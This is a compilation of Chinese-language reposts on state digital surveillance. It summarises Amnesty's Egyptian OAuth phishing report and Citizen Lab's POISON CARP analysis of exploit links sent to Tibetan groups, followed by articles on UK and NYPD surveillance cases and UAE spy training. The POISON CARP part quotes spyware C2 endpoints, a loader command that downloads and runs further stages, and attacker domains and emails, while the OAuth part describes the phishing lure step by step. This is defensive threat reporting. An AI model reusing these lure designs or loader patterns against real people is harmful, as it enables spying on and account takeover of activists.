自2019年1月以来，一些来自埃及的人权维护者和民间社会组织开始向国际特赦组织转发数十封可疑电子邮件。调查发现，这些电子邮件试图通过一种特别隐蔽的网络钓鱼形式（称为 OAuth 网络钓鱼）访问其目标的电子邮件帐户。估计目标个体的总数大约为几百个。

这些攻击恰逢该国发生的一系列重大事件。在埃及1月25日起义八周年之际，由于前总统胡斯尼·穆巴拉克在执政30年后被解职，调查总共记录了11起针对非政府组织和媒体集团的网络钓鱼攻击事件。

1月28日和29日，法国总统埃马纽埃尔马克龙访问开罗期间袭击再次发生，这次攻击于1月29日达到顶峰，当时马克龙会见了埃及四个著名的非政府组织的人权维护者。

后来，在2月的第一周，几个媒体组织也成为了这场数字攻击活动的一部分; 他们正在报道议会刚刚正式启动的修改埃及宪法的过程。

这些袭击都具有相同的标志，似乎是一个协调的运动的一部分，以监视、骚扰和恐吓他们的目标。尽管明确攻击者是困难的，但从埃及选择性地瞄准人权维护者来看，尤其是伴随特定政治事件，表明目前的数字攻击浪潮在政治上而不是在经济上是有动机的。

并且此次攻击的多个目标收到了谷歌发出的官方警告，警告“政府支持的攻击者正在试图窃取您的密码”。

「图」

「图」

这些因素加强了对国家支持的骇客行为的怀疑，进一步加剧了对埃及民间社会的寒蝉效应，并使那些批评政府的人保持沉默。

传统的网络钓鱼攻击试图通过创建例如谷歌或 Facebook 的登录页面的虚假克隆来欺骗目标提供其密码。如果目标被成功引诱输入了密码，则攻击者会“窃取”其凭据并可以重复使用这些凭据来访问其电子邮件帐户。

通常，这种网络钓鱼攻击可以通过使用两步验证程序来防止，例如目前大多数主流平台提供的程序，或验证程序应用程序，甚至更好的是安全密钥。

但是，在埃及记录的此次网络钓鱼活动中，攻击者利用了一种简单的但鲜为人知的技术，通常称为 **OAuth** 网络钓鱼。**OAuth Phishing**

滥用合法的登录提示，旨在诱骗目标在可疑的网站上输入密码，而不是滥用包括 **Google** 在内的许多在线服务提供商的合法功能，允许第三方应用程序直接访问帐户。例如，合法的外部日历应用程序可以请求访问用户的电子邮件帐户，以便自动识别和添加即将发生的事件或航班预订。

通过 OAuth 网络钓鱼，攻击者可以制作恶意的第三方应用程序，这些应用程序伪装成不会引起受害者的怀疑。

以下逐步了解这些攻击的工作方式，以及人们可以更好地保护自己免受这类攻击的具体方法。

第一步—— 在下图所示的最常见情况下，该电子邮件模仿 Google 发出的安全警告，并要求目标将“Secure Email”应用于其 Google 帐户。

「图」

「图」

第二步—— 单击“立即更新我的安全性”按钮将指向启动由攻击者命名为“安全邮件”的恶意第三方应用程序 OAuth 授权过程的页面。

第三步—— 此时，目标被要求登录 Google 或选择现有的登录帐户。

「图」

「图」

第四步—— 现在要求目标明确授权恶意“安全电子邮件”第三方应用程序访问其电子邮件帐户。虽然此授权提示确实包含来自 Google 的警告，但可能会被忽略，因为用户已被指示来自 Google 的合法电子邮件。

第五步—— 单击“允许”按钮后，恶意“安全电子邮件”应用程序将被授予对目标电子邮件帐户的完全访问权限。攻击者可以立即阅读电子邮件的内容，并将受害者定向到真正的 Google 帐户设置页面，这进一步减少了目标对他们成为欺诈性攻击受害者的怀疑。

除了谷歌之外，攻击者还利用类似的策略对付雅虎、Outlook 和 Hotmail 的用户。

OAuth 网络钓鱼可能很难识别。通常，面临风险的个人的安全教育不

包括对这种特定技术的提及。人们通常会接受培训，通过在浏览器的地址栏中查找可疑域名并启用双因素验证来阻止网上诱骗。但是，这些方法对 OAuth 网络钓鱼完全无效，因为受害者实际上是通过合法的网站直接进行了身份验证。

如果您是活动家、人权维护者、记者或其他任何关注此类攻击的人，那么每当您被要求在您的帐户上授权第三方应用程序时，请务必保持警惕。

有时，检查帐户的安全设置并检查授权的外部应用程序是一项很好的练习。在这种攻击的情况下，恶意安全电子邮件应用程序将显示为合法，如下图所示。

「图」

「图」

于是，您可能还需要考虑撤消对您无法识别或可能已停止使用的任何其他授权应用程序的访问权限。

如果您收到过本报告中描述的可疑电子邮件或其他形式的可疑针对性攻击，请联系 share@amnesty.tech。

Phishing attacks using third-party applications against Egyptian civil society organizations. in this phishing campaign we have documented in Egypt, the attackers instead leverage a simple but less known technique generally called OAuth Phishing.

原文

警告：WhatsApp文本流中的恶意链接 - iYouPort

技术-攻击防御和反抗政府的间谍行为

提醒注意本报告中所有黑体部分 —— 必须强调：没有哪种攻击 “只能” 针对某个固定群体，它们可以随时针对任何人。该报告反应出中国当局已经升级了战术，因此所有人都应该警惕

「图」

「图」

在2018年11月至2019年5月之间，藏族团体的高级成员在私人的 WhatsApp 文本交流中收到恶意链接，攻击者冒充非政府组织工作人员、记者和其他虚假角色。

这些恶意链接利用了网络浏览器的漏洞，可在iOS和Android设备上安装间谍软件，其中有些案例是OAuth网络钓鱼页面。公民实验室称攻击者为 POISON CARP。

公民实验室观察到 POISON CARP 总共使用了八个安卓浏览器漏洞和一个安卓间谍软件套件，以及一个iOS漏洞利用链和iOS间谍软件。被观察到的漏洞利用都不是**0day**。

POISON CARP 的攻击与去年广泛报道的针对维吾尔族人的两次网络攻击活动之间存在重叠。此次攻击中使用的**Android**恶意软件是功能齐全的间谍软件套件，以前没有被记录过。

POISON CARP 似乎使用了来自各种来源的 Android 浏览器漏洞。在一种情况下，POISON CARP 使用了 Exodus Intelligence 公开发布的有效漏洞利用，这个漏洞在源代码中得到了修复 ，但尚未将其补丁分发给 Chrome 用户。

在其他情况下，POISON CARP 使用的是经过轻微修改的Chrome漏洞

利用代码版本，这些代码发布在个人 GitHub 页面上，包括奇虎360 Vulcan 团队的成员、腾讯 Xuanwu Lab 的成员、还有 Chrome Bug Tracker 上的一个 Google Project Zero 成员。

这是第一起针对藏人群体的一键式手机攻击案件，反映了针对藏人群体的数字间谍威胁的复杂程度不断升级。

摘要

西藏社区已经被数字间谍活动包围了十多年。

2009年，《信息战监测》发表了 Tracking GhostNet 的报告，详细描述了一个针对西藏组织的恶意软件操作，包括在达兰萨拉的达赖喇嘛私人办公室、以及在103个国家的政府机构。

当时很少有公开报道针对性的恶意软件攻击，关于这些威胁如何影响民间社会的文件也很有限。

在过去的十年里，GhostNet 使用的策略已经为西藏人所熟悉：充满旧漏洞利用的电子邮件被用来向没有及时更新的电脑传送定制的恶意软件。

通常，这些操作中使用的恶意软件针对的是 Windows 系统，一些罕见的恶意软件针对 MacOS 和 Android 系统。

这些间谍活动有一个共同点，那就是关注巧妙的"社交工程"，"而不是"漏洞利用或恶意软件的技术复杂性。（简单说它是交互式的攻击，需要目标人的点击操作才能实现）

虽然这些模式很常见，⚠但此次观察到的战术转变似乎与社区防御姿态的变化有关。

从历史上看，恶意软件以电子邮件附件的形式发送是藏族群体经历的最常见的威胁。

作为回应，社区中的团体发起了一场提高用户安全意识的运动，建议人们使用云平台，如 Google Drive 或 DropBox，来分享文档以替代电子邮件附件。

之后逐渐观察到针对藏族群体的恶意软件攻击有所减少，但凭证式钓鱼有所增加，这表明操作者正在改变他们的应对策略。

最近，公民实验室还观察到恶意 OAuth 应用的攻击，可能是为了绕过用户在谷歌账户上使用的双因素身份验证。

- 《如何使用社交工程来攻击 2FA？》

这些变化表明了藏人组织的数字防御和针对他们的攻击者的能力之间的内在不对称 —— ⚠改变一个社区的安全习惯是一个缓慢而渐进的过程，而对手可以在一夜之间发展。

为了应对这些挑战，藏人组织最近成立了西藏计算机应急小组（TibCERT），这是一个由藏人组织组成的联盟，旨在通过事件响应协作和数据共享来改善数字安全。

2018年11月，TibCERT 收到了通过 WhatsApp 发送给西藏组织高级成员的可疑信息。

在目标群体的同意下，TibCERT 与公民实验室共享了这些信息的样本。

分析发现，这些信息包含了旨在针对 iPhone 和 Android 设备安装间谍软件的恶意链接。

这一攻击似乎是由单一的操作者执行的，公民实验室称为 POISON CARP。这是第一次被记录在案的针对藏族群体的一键式移动攻击。

与通常观察到的用来对付藏族社区的手段相比，它代表了"社交工程策略"和技术复杂性的显著升级。

Poison CARP 使用的漏洞、间谍软件和基础设施将它与去年报道的两个针对维吾尔族团体的数字间谍活动联系起来。

2019年8月，谷歌 Project Zero 报道了谷歌威胁分析小组发现的一场数字间谍活动，利用 iOS 漏洞（其中一个案例中为零日漏洞）在受害者的 iphone 上植入间谍软件。

随后的媒体报道援引匿名消息人士的话说，这场攻击针对的是维吾尔族社区，同样的方法也被用来传播针对 Android 和 Windows 的恶意软件。

在这些报道之后，Volexity 公布了针对维吾尔族人的数字间谍活动的细节，被入侵的网站用 Android 恶意软件感染目标。虽然 Volexity 没有提供任何与谷歌报告重叠的技术指标，但他们推测，在这两种情

况下，操作者可能是相同的。公民实验室的报告提供了这些缺失的环节。

1、瞄准目标

在2018年11月11日至14日期间，公民实验室观察到15起针对达赖喇嘛私人办公室、西藏中央政府、西藏议会和西藏人权组织的入侵企图。

在2019年4月22日和5月21日期间观察到两次额外的攻击尝试。受到攻击的大多数人在各自的组织中担任高级职务。

这些入侵企图是通过 WhatsApp 上的七个虚假人物发送的信息来实现的，这些假人物被设计成记者、国际倡导组织的工作人员、西藏人权组织的志愿者、以及前往印度的游客。

虚假角色使用的都是带有香港区号（ + 852 ）的 WhatsApp 电话号码。

在整个攻击活动中，POISON CARP 展示了在社交工程方面的重大努力。虽然这种手段早已不是新鲜事。

- 《"网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？"》

⚠这些虚假的人物角色和信息是针对目标定制的，**POISON CARP** 操作员积极参与对话并持续试图感染目标。

总的来说，这一诡计很有说服力：在15次入侵企图中，有8次受害人都点击了攻击链接。幸运的是，所有这些人都运行着不易受攻击的 iOS 或 Android版本，没有受到感染。感谢安防知识的普及和实践。

- 《及时更新为什么很重要》

一个伪造的 “国际特赦组织研究员”

2018年11月13日，西藏人权组织的一名高级工作人员在 WhatsApp 上接到了一个未知号码的联系。这个人声称自己是国际特赦组织香港分部的难民组组长 Jason Wu —— 国际特赦组织从来没有任何叫「Jason Wu」雇员。

「图」

「图」

一旦目标回复消息（上图），这个虚假人物就会迅速引入最近在西藏发生的自焚事件的话题，并声称试图核实社交媒体的报道，以便用于“即将发布的国际特赦组织关于中国人权状况的报告，以及即将发布的批评中国政府对待少数民族的声明”。

一旦托辞建立，虚假人物就会共享一个用 **bit.ly** 缩短的链接。链接重定向到 www.msap[.] 上的一个页面 —— 包含针对11.0到11.4版本的 iOS 漏洞利用链。

目标人回想起点击过这个链接，但没有被感染，因为他们的 iPhone 运行的是 iOS 12.0.1版本。

也许是因为攻击者没有观察到成功的感染，所以他们继续与目标进行对话（下图），再次共享额外的利用链。

几个小时后，这个虚假角色解释说，他们已经确认了有关自焚事件的消息，这可能是为了让这种虚假的互动在目标看来是友好的。

「图」

「图」

从 iOS 系统到安卓系统

在另一起入侵企图中，一个叫「梁露西」（Lucy Leung）的虚假角色与同一个藏人人权组织的工作人员取得了联系。

梁露西化装成《纽约时报》记者，寻求采访。在一个简短的借口之后，这个虚假人物向目标发送了一个 iOS 入侵尝试链接 www.msap[.]（下图）。

「图」

「图」

虚假角色坚持要求目标点击链接。目标用户点击了这个链接，但是他们并没有被感染，因为他们使用的是 Android 设备。然后虚假角色又发送了一个 Android 攻击链接，这一次是通过 bit.ly 隐藏的。

2. iOS 漏洞利用

公民实验室观察到的针对藏人目标的17次入侵尝试中，有12次包含了指向 iOS 的漏洞利用链。

除了一次尝试之外，所有的这些尝试都是在2018年11月11日至14日之间发送的，最后一次尝试是在2019年4月22日。链接有时是直接发送的，有时是通过网址缩写服务，比如 **Bitly**。

在 www.msap[.]services 上托管的恶意链接使用 iPhone User-Agent 字符串（iOS 11.0–11.4）返回一个有效的 html 页面，其中包括两个 iframe：一个全尺寸的 iframe 显示一个良性的诱骗网页，以及一个不可见的 iframe 导致不同网站上的漏洞利用页面。

截至2019年9月6日，Bitly 链接统计记录了 iOS 漏洞利用短链接的总点击量为140次。

公民实验室无法从2019年4月的攻击中获得任何恶意代码。这个漏洞利用链似乎是针对所有 iPhone 6-x 上的 iOS 11–11.4版本设计的，在测试过程中无法成功感染运行 iOS 11.4的 iPhone SE。

第一个漏洞是 WebKit JavaScriptCore 漏洞，它导致了一个 iOS / 权限提升漏洞链的加载，最终执行了一个间谍软件的有效载荷，旨在窃取一系列应用程序和服务的数据。

公民实验室在2018年11月发现这个漏洞后不久就向苹果报告了这个漏洞链。2018年7月，苹果公司确认 iOS 11.4.1已经修复。

苹果进一步证实，此次遇到的权限提升安全漏洞和沙盒逃逸漏洞与谷歌报告中的完全相同。因此，当这个漏洞被用来对付西藏组织时，它不是零日，而且至少已经过时了四个月了。

加密的恶意代码传递

一个值得注意的特点是，漏洞利用和恶意代码在目标浏览器和操作员的服务器之间使用 ECC Diffie-Hellman（ECDH）密钥交换进行了加密（下图）。

「图」

「图」

该漏洞和有效载荷的加密传递将防止网络入侵预防系统／恶意代码检测（比如在企业设置中常用的那些代码），并防止分析人员仅从网络流量捕获中重建和分析恶意代码。

当然，分析师仍然可以通过其他方式提取恶意代码，比如从内存转储或基于浏览器的工具中提取恶意代码。

Poison CARP 使用的加密恶意代码传递是基于安全研究员 Zoltan Balazs 在2017年开发的一个叫做 IronSquirrel 的项目。它在2015年首次出现在钓鱼者开发工具包中，后来又出现在其他几个工具包中。

植入物分析

公民实验室在2018年11月从利用链中获得的间谍软件植入与谷歌零计划研究人员描述的植入相似，尽管不完全相同。

根据谷歌报告中提供的技术细节，公民实验室认为这两个植入物代表了同一个间谍软件程序在不同的开发阶段。

获得的2018年11月版本似乎代表了一个初步的开发阶段：看似重要的方法未被使用，指挥与控制（C2）实现甚至缺乏最基本的功能。

A—初始化

植入物的主要功能在 Service 类中实现。类 start 模式（下图）使用 startTimer 初始化一个计时器，以创建一个持久执行循环。

「图」

「图」

一旦完成就开始收集和上传各种应用程序数据，包括位置数据、联系人、通话历史、短信历史等等。

通过uploadDevice在植入初始化过程中收集的特定设备信息包括：

- iPhone model
- iPhone name
- iPhone serial number
- iOS Version
- Phone number
- ICCID of the SIM Card

- IMEI of the device
- Network connection method (wifi or cellular)

B—命令和（缺乏）控制

一旦持久性计时器控制了运行循环，就会调用两个模式：status 和 capp（下图）。

「图」

「图」

Status 向包含当前网络连接方法（wifi 或蜂窝）的 C2服务器发送心跳消息。知道目标是在无线网络还是蜂窝网络上对于攻击者来说很重要，因为如果目标接收到提供商发出的数据超载警报，使用蜂窝网络连接窃取大量数据可能会泄露给监控人员。

「图」

「图」

在此示例中，这些数据通过（未加密的） HTTP POST 发送到C2服务器 hxxp:*66.42.58[.]59:9078/status* 计时器循环调用的另一个模式 *capp*（下图）向 *C2*服务器发出请求，再次使用 *remotelist*，请求攻击者希望从中过滤数据的应用程序列表。「图」「图」 *Remotelist* 通过同样未加密的 *HTTP POST* 调用 *hxxp:*66.42.58[.]59:9078/list. 在此示例中，这是 C2服务器可以使用的唯一函数。

3、MOONSHINE：Android 开发套件和有效载荷

在整个攻击行动过程中，POISON CARP 通过 WhatsApp 向目标发送了四个针对安卓系统的恶意链接。

虽然没有确定 iOS 和 Android 的开发或有效负载之间的任何共享基础设施或代码相似性，但很明显 POISON CARP 同时使用了这两个工具。

Android 攻击链接是以下形式的链接，其中[MoonshineSite]是一个运行 MOONSHINE 的服务器的 IP 地址或域名，[URL]是一个base64编码的诱饵 URL，用户被重定向后攻击，或者攻击失败：

hxxp:*[MoonshineSite]:5000/web/info?org=[URL]* 如果目标使用基于

chrome 的 *Android* 浏览器访问该链接，他们会收到一个带有下图所示代码的网页，该代码旨在强制目标设备在 *Facebook* 应用程序内置的基于 *chrome* 的网页浏览器中打开漏洞利用*URL*。 「图」 「图」 当使用 *Android Facebook* 用户代理标头打开攻击 *URL* 时，*MOONSHINE* 检查了标头，看看此 *Chrome* 版本是否容易受到八种不同的 *Chrome* 攻击之一，这些漏洞都在最新的 *Chrome* 版本中得到了修复。 *4*个 *MOONSHINE* 漏洞显然是从安全研究人员在 *bug* 追踪器或 *GitHub* 页面上发布的有效利用代码中复制的。与 *iOS* 开发体系结构相反，*Android* 利用和有效负载传递没有使用 *ECDH* 密钥（甚至 *HTTPS*）进行加密。 每个漏洞都运行相同的 *shell*，它从 *hxxp:* [MoonshineSite]:5000/dev/loader 下载了一个 ARMv7 ELF 二进制文件（称之为 Loader），并将二进制文件存储在 Facebook app 文件夹中，即（/data/data/com.facebook.katana/[BinaryName]），其中[BinaryName]是一个随机的字母数字字符串。Shellcode 然后执行 Loader，http://[MoonshineSite]:5000/ 和 /data/data/com.facebook.katana/[BinaryName] 作为参数。

Moonshine Loader 是一系列中间阶段的恶意软件二进制程序中的第一个，这些恶意软件按顺序执行，以提供最终的有效载荷：开发者称之为「Scotch」的功能齐全的安卓间谍软件包。下图提供了安装过程的概述。

「图」

「图」

Loader Stage

在安装了 MOONSHINE Loader 之后，Loader 使用路径：hxxp: *[MoonshineSite]:5000/dev/loader/post* 将签入消息发送到 *C2*服务器。*C2*服务器响应向 *Loader* 提供指令，包括下载和执行恶意软件链下一阶段的 *URL (tdu= parameter)*，以及从 *app* 文件夹中删除的一系列文件 *(cf= parameter)*，这些文件在某些情况下可能由 *Loader* 的不同调用生成。测试中收到了以下指示： *LD&l=/data/data/com.facebook.katana;rs=0;lf=;tdu=http://[MoonshineSite]:5000/im/lure;tn=.lure;cf=excit,s.r.zip,busybox,install.sh,loader,app-debug.apk,.lure,libNetwork.so,report,; !!!**4**、恶意 **OAuth** 应用 *OAuth*是一个关于授权的开放网络标准，已经成为主要平台（如 *Facebook*、*Google*、 *Twitter* 等）允许与第三方应用程序共享帐户信息的流行方式。 恶意 *OAuth* 应用已经在钓鱼攻击中被广泛用于数字间谍活动和

一般的网络犯罪。最近还出现了一些针对西藏社区的恶意 *OAuth* 应用，可能是为瞄准那些利用双因素身份验证来保护自己谷歌账户安全的用户。 *2019*年*5*月*31*日，西藏议会的一名议员收到了 *WhatsApp* 的消息，要求确认一个新闻故事（下图）。先前曾在*2018*年*11*月通过*WhatsApp*消息向同一个人发送过*iOS*漏洞利用链接。「图」「图」这条消息包括两个 *Bitly* 短链接。第一个短链接扩展到 *hxxps:*www.energy-mail[.]org/B20V54，它重定向到一个名为 Energy Mail 的 Google OAuth 应用，该应用请求访问 Gmail 数据（下图）。

「图」

「图」

经过后续点击，链接只是重定向到一个合法的谷歌登录页面。

第二个 bit.ly 短链接为 MOONSHINE 提供服务，可以确定这些 OAuth 攻击是由同一操作者实施的。

基于诱骗页面的相似性和使用来自 RiskIQ 的被动 DNS 数据，确定下列网站似乎是由同一个操作者使用的：

antmoving[.]online

beemail[.]online

bf[.]mk

energy-mail[.]org

gmailapp[.]me

izelense[.]com

mailanalysis[.]services

mailcontactanalysis[.]online

mailnotes[.]online

polarismail[.]services

rf[.]mk

walkingnote[.]online

诱饵页面和 OAuth 应用包含以下联系信息：

antmoving.online@gmail.com

energymail.org@gmail.com

jameslewis199106@gmail.com

touchxun658@gmail.com

＋852 65891393

这些网站之间有着以下同样的WHOIS数据：

e-mail: dashenqu832@outlook.com

e-mail: ornaments798@outlook.com

结论

一个重要发现是 POISON CARP 和 Google Project Zero 和 Volexity 报道的攻击活动之间的联系。它们使用相同的 iOS 漏洞和类似的 iOS 间谍软件植入，可以确定这三个攻击很可能是由同一个操作者执行的、或者一个密切合作的攻击小组共享了资源。

除了技术上的重叠之外，这些攻击的目标都是与中国有关的少数民族群体：维吾尔族和藏族。

这些社区经历了数字间谍威胁超过十年，以前的报告经常发现相同的攻击者和恶意软件工具包针对他们。然而，POISON CARP 和相关威胁等级的提升改变了一些游戏规则。

多年来，西藏组织已经对可疑的电子邮件、附件和网络钓鱼的迹象了如指掌。然而，**POISON CARP** 使用了社区并不擅长应对的移动威胁，如果设备运行易受攻击的 **iOS** 或安卓版本，这种攻击会导致严重的危害。

Poison CARP 使用的社交工程之所以成功，部分原因是虚拟人物角色、并努力使目标个体感到舒适。这种针对性攻击形式在移动聊天应用程序上比通过电子邮件更容易实现。

针对移动平台的攻击也反映了在世界各地民间社会面临的信息安全威胁中所呈现的一般模式。

已经有许多报告显示，商业间谍软件供应商专门向政府出售服务，他们的间谍技术产品被用来监视活动人士和记者。

这些攻击事件表明了针对移动设备间谍活动之需求的日益增长。从对手的角度来看，驱动这种需求的因素是显而易见的 —— 民间社会的组织和动员更多使用的是移动设备。手机数据能揭示一切。

应对这些威胁需要民间社会和私营企业一起采取行动。

Tibcert 等类似的公民社会安全防御组织的努力是加强西藏组织数字安全的重要步骤，可以作为其他民间社会团体的榜样。

与此同时，平台提供商应特别关注针对民间社会的威胁。不仅民间社会用户受到数字间谍活动负面影响的风险增加，而且，这些监视工具会使使用用户都面临危险。〇

Tibetan Groups Targeted with 1-Click Mobile Exploits

原文

警方滥用老大哥权力迫害公民活动家，如何反击？ - iYouPort

政府的间谍行为

和平活动家没有犯任何罪行，却被列入了警方的”极端主义数据库”中，遭到重点监视。这起诉讼很重要，因为它挑战了警察的权力，警察国家一直都在监视公共场所的个人并保留有关他们的个人信息。

「图」

「图」

根据“欧洲人权公约”第8条，法院裁定英国侵犯了隐私权—— 英国当局监视和平活动家 John Catt，尽管他从未被判犯有任何罪行，但他的名字和其他个人资料却被包含在一个被称为“ 极端主义数据库 ” 的警察数据库中，被重点监视。

法院指出所谓的“国内极端主义一词的定义被滥用了，“警方用来管理有关数据收集的标准存在重大歧义”。没有“迫切需要保留” Catt 先生在警方数据库中的个人数据，这种监视构成了对他的隐私权的侵犯。特别是，保留他关于和平抗议的数据既没有被证明是普遍必要的，也没有任何特定调查的目的。

这个案件很重要，因为它挑战了警察的权力，警察国家一直都在监视公共场所的个人并保留有关他们的个人信息。

隐私国际组织在调查中确定了一系列新技术，警方可以通过这些技术来监视公共场所中的任何人，无论是参与和平游行的物理空间，还是社交媒体平台上的数字空间。

这些技术包括面部识别、体戴式摄像机、CCTV和自动车牌识别技术。除了监视物理空间外，警察当局还从社交媒体来源收集信息，监测社交媒体帖子和相关数据。警方使用的其他技术包括移动电话提取

技术和IMSI捕获器。

政府（和公司）认为，这种信息的收集和分析对人们的隐私影响“很小”，因为它只“依赖公开信息”。但是，这种不准确的陈述无法解释从公共场所和社交媒体获取的个人数据的收集、保留、使用和共享所造成的侵入性。当公共可用数据集被聚合时，隐私侵犯变得更加深入。

事实上，如果不加管制，情报机构对公开信息的例行收集和处理很容易导致在其他形式的秘密监视行动中发现的那种滥用行为。

欧洲法院此次确认，从公共场所收集和处理此类信息必须受法律管制，并只能限于实现合法目标所必需和相称的内容。

特别是，法院“回顾了遵守欧洲人权公约第8条原则的重要性，特别是在现有技术不断变得更加复杂的情况下（参见Roman Zakharov 诉俄罗斯案［GC]，第47143/06号，第229段，ECHR 2015，Szabó和Vissy 诉匈牙利，第37138/14号，第68段，2016年1月12日）。与本案不同，这些案件都涉及秘密的监视。法院认为应该采用这种方法，特别是在已经强调了与该领域中国家权力含糊不清有关的问题时。

这一重要启示应适用于警察和情报机构使用的各种技术。至关重要的是，警方使用各种形式的技术收集、使用和保留数据必须符合法律、追求合法目标、并经过民主社会必要的监督。

然而正如本案例所示，情况往往并非如此。本案始于遭到非法监视的Catt 先生行使其数据权利，因此警方对此负有责任，但是，在推出新技术之前开始实施保护至关重要。

欧洲法院进一步强调了有关政治观点的数据应该享有的“更高的保护水平”。在民主进程受到新技术侵入性威胁的时代，加强保障至关重要。

隐私国际组织仍然关注这一问题，因为目前仍然缺乏适当的立法和政策来规范英国警察部队对监视技术的使用。2018年5月通过的“2018年数据保护法”（实施欧盟执法指令）加强了对警察部队处理个人数据的保障措施，这是一个积极的步骤。但是，警方采用新技术监视公共场所（无论是在线还是离线）需要更强有力的监督，受害人需要额外的保护措施。

Catt v. the United Kingdom—police powers to retain personal data in “extremism database” violates the rights of peace activist. John

Catt, a peace movement activist, who despite having never being convicted of any offence, had his name and other personal data included in a police database known as the “Extremism Database”. Privacy International, in its third party intervention , identified a range of new technologies that the police can deploy to surveill individuals in public spaces, whether physical spaces, such as participating in demonstrations, or digital ones, such as on social media platforms.

原文

阻止警察对活动家实施的间谍行为 - iYouPort

政府的间谍行为

这是一场振奋人心的审判：阻止警察对活动家实施间谍行为不是一件容易事，本文分享法庭的回应以帮助活动家了解如何反驳所谓的”国家安全”声称

由于纽约警察局对受第一修正案保护的社会运动进行隐秘的监视，另一起诉讼仍在继续。Black Lives Matter 组织提出信息请求，要求详细说明纽约警察局对抗议者使用的监视方法，这些监视目前为止依旧严重不透明。

纽约警察局和往前一样继续抛出 FOIL 豁免权以阻止信息披露。并且拒绝确认或否认所寻求记录的存在。

幸运的是，主持案件的法官阿琳·布鲁斯（Arlene Bluth）没那么软弱。由于纽约警察局不断拒绝透明度请求，法官在14页的裁决[PDF]中反复称之为BS。

原告正在寻求与 *NYPD* 使用针对手机的监控技术相关的记录。众所周知，纽约警察局拥有并可以使用 *Stingray* 监听设备。这些记录将显示的是以非目标方式使用黄貂鱼行为—— 要么不加选择地收集手机标识符、要么只是在抗议期间对所有参与者进行钓鱼监控。

NYPD 已向原告提供了 Glomar 回应—这一术语源于联邦一级的所谓国家安全努力。可以部署Glomar 有几个很好的理由，但它们都无法支持 NYPD 全面拒绝确认或否认这些记录之存在的狡辩逻辑。

虽然这份宣誓书提供了足够的理由说明为什么 FOIL 要求所谓的反恐信息可能值得 Glomar 式的答复，但是，没有对它如何适用于此案提供任何解释。Miller 没有表明这些抗议者与他在宣誓书中列出的所谓恐怖主义分子有任何关联。事实上，Miller 并未声称这些抗议者从事任何与恐怖主义有关的行为。

纽约警察局还声称 Glomar 的回应是“有效的”，因为所描述的针对抗

议者的黄貂鱼部署本身非法。我不知道NYPD如何想象这种畸形的论点可能会在法庭上发挥作用，但我确信它不会进一步削弱其对 Glomar 的回应。这是法院对这个断言到底是什么的评论：

Miller 似乎暗示，刻意使用这种技术干扰抗议者的手机会违反法律。如果是这种情况那么，被告应该能够否认记录的存在，因为被告承认不能干涉合法的抗议。当然，如果被告使用了针对抗议者的监视技术，并且由于他自己的说法—违反了法律，那么它就无法再通过 *Glomar* 回应以隐藏这一事实。

法院指出，存在可能涵盖这些文件内容的其他豁免，但即便如此，也需要提供比 NYPD 目前提供的更多的理由。

法院承认，被告不必披露其如何进行刑事调查。但是，监视抗议者并不属于刑事调查或反间谍活动。

这是因为抗议者声称他们的手机在抗议期间突然失灵。被告正在干扰抗议者彼此沟通的能力，这正是需要使用 FOIL 解释的严重问题。

FOIL 旨在揭示阴暗的政府行为，而 Glomar 回应的概念（拒绝确认或否认记录的存在）与 FOIL 下披露的目的相矛盾。

这项裁决还引发了另一个绕避透明度的漏洞：纽约警察局在其最初的 Glomar 回应后提供了超过一年的“商业机密”豁免。法庭认为：

如果价格和产品特征是商业机密，那么政府机构签订的每份合同都将被免除 *FOIL*。因为每份合同都包含有关定价的信息、包括在哪里购买的，合同中可能还包含有关产品的详细信息。它可以列出产品的用途、功能是什么、以及如何使用，这些都不是什么商业机密……

并且更重要的是，法庭指出：滥用“国家安全”概念是不可接受的。

法庭说：与恐怖主义有关的问题不能用于证明在每个 FOIL 背景下使用 Glomar 反应的合理性。这里的受害人是抗议者，他们从事的是第一修正案保护的活动。抗议者和恐怖分子之间的唯一联系似乎是两个团体都使用手机。但恐怖分子和抗议者以及普通纽约市居民全部使用手机和电脑以及社交媒体和其他各种技术。在恐怖分子可能使用与抗议者或纽约市居民相同的技术的每一种情况下，都不能使用 Glomar 的回应。

在这里接受使用 Glomar 的回应将关闭所有的公开调查，无法要求被告承责。这一概念违背了信息自由法规的目的。 […] FOIL 不是盲目

信任—而是关于让政府官员承担责任。这一原则对民主社会至关重要，不能轻易放弃。

NY Court Tells NYPD It Can’t Hide Surveillance Of Protesters Behind A Glomar Response. FOIL is not about blind trust—it is about holding government officials accountable. That principle is fundamental to a democratic society and cannot be set aside so easily.

原文

雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国 - iyouport

地缘政治政府的间谍行为老大哥的真面目

【2019年8月27日存档】“钱真是个好东西 …… 这可是每天1000美元的酬劳 —— 而且你可以住在豪华别墅或五星级酒店里”。原则这个字用英语怎么说？

距离阿布扎比东北部的扎耶德港不远，在一个典型的现代海湾别墅中，一边是优雅的游泳池，另一边，西方人正在教授阿联酋人关于现代间谍工具的使用。

这一天从基础课程开始：周日早上10点的研讨会名为“什么是情报？”周四，新学员要学习如何在四到六人的监视小组中进行操作。在第一周的过程中，他们学习寻求解决问题的技能；接下来的几周会变得更加先进 —— 学生们开始创建与外交官一起参加庆祝活动时使用的假扮身份，他们被教导如何培养情报资产，并且他们会被邀请观看关于如何招募利比亚线人的视频。

- ○ 全套的假扮身份涉及在线和线下两部分，不论是间谍还是反政府间谍行为的活动家，都需要这些技巧。关于在线部分，详见 IYP 提供的知识点栏目：《角色扮演》、《多重身份的做法》，以及验证严谨性的《自我人肉》；线下假扮身份涉及社交工程学，详见《如何让自己变成另一个人？伪装术（上）》《只有自己学会伪装才能识破伪装者（下）》** 阿联酋的新兵也在阿布扎比市中心外约30分钟路程的地方接受训练，此处被称为“学院” —— 配有枪械、军营和驾驶课程 —— 其景观让人想起位于弗吉尼亚州东南部 Camp Peary 的培训设施，那里是 CIA 的“农场”。

培训的细节包含在 Foreign Policy 杂志挖到的官方课程表中，并收录了参与此项工作的前美国情报官员的描述。这些设施和课程是阿联酋创建的以西方为模型的专业情报精英队伍的一部分。

前中央情报局和政府官员被有趣的工作承诺吸引到海湾国家，或许更重要的是 —— 有利可图的职业生涯。

“钱真是个好东西，”一位前雇员告诉外交政策杂志说，“这可是每天1000美元的酬劳 —— 而且你可以住在阿布扎比的豪华别墅或五星级酒店里。”

